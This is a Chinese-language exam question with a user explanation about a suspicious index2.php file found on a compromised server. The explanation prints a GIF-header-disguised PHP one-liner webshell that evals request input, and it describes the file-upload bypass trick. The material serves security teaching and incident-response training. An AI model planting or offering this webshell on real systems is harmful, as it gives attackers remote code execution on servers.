33.你登入那台被入侵的伺服器之後,在網頁目錄中發現一個沒看過的檔案index2.php,檔案內容如附圖1所示。請問下列何項描述「錯誤」?
(A)GIF89a是GIF圖片的檔頭(FileHeader)
(B)這是一張GIF圖片,如果在作業系統裡面點擊圖片檔案的話,圖片顯示的內容是「input」
(C)這個檔案可能被伺服器誤以為是一個圖檔,因此允許使用者上傳到目錄中,但其中包含一段PHP程式碼,可能會造成威脅
(D)這個檔案就是常見的一句話木馬,可以用來執行PHP程式碼,攻擊者通常會用來控制伺服器

答案:登入後查看
統計: A(17), B(213), C(34), D(28), E(0) #3416759

詳解 (共 2 筆)

#6611050

錯誤

  • 這個檔案內容是

    ㅤㅤ
    GIF89a <?php @eval($_REQUEST["input"]); exit;?>

    不是一張完整有效的 GIF 圖片,只是「在檔案開頭寫入 GIF 的檔頭字串」來偽裝。

  • input 是 PHP 程式碼裡接收參數的名稱(從 GET/POST/Cookie 收到的值),不會變成圖片的像素內容;就算把檔案副檔名改成 .gif 去雙擊,通常只會顯示毀損/空白或無法開啟,不會顯示「input」兩個字。

  • 若以 .php 方式由 Web 伺服器執行,開頭的 GIF89a 只會被當成輸出文字,除非另外送出 Content-Type: image/gif 與有效影像資料;依然不會顯示「input」

(C) 正確

  • 這是一種常見的上傳繞過手法(Polyglot / 魔術數繞過):很多網站只檢查檔頭或副檔名判斷是否是圖片。攻擊者在檔案最前面放 GIF89a,就可能被誤判為圖片而允許上傳

  • 一旦這個檔案能放進可被執行的目錄(或副檔名/伺服器設定允許被 PHP 解析),其中的 PHP 程式碼 就可能被執行,造成風險。

(D) 正確

  • @eval($_REQUEST["input"]); exit; 是典型的 「一句話木馬」(one-liner webshell)

    • $_REQUEST 同時吃 GET/POST/Cookie,方便攻擊者丟指令。

    • @ 抑制錯誤訊息;eval() 直接執行外部傳入的 PHP 程式碼;exit() 結束回應以降低痕跡。

  • 這種殼通常用來遠端執行指令、橫向移動、上傳/下載、維持控制

0
0
#6403692
68169a33adac0.jpg
681a08c37ff5f.jpg
681e896845c39.jpg
0
0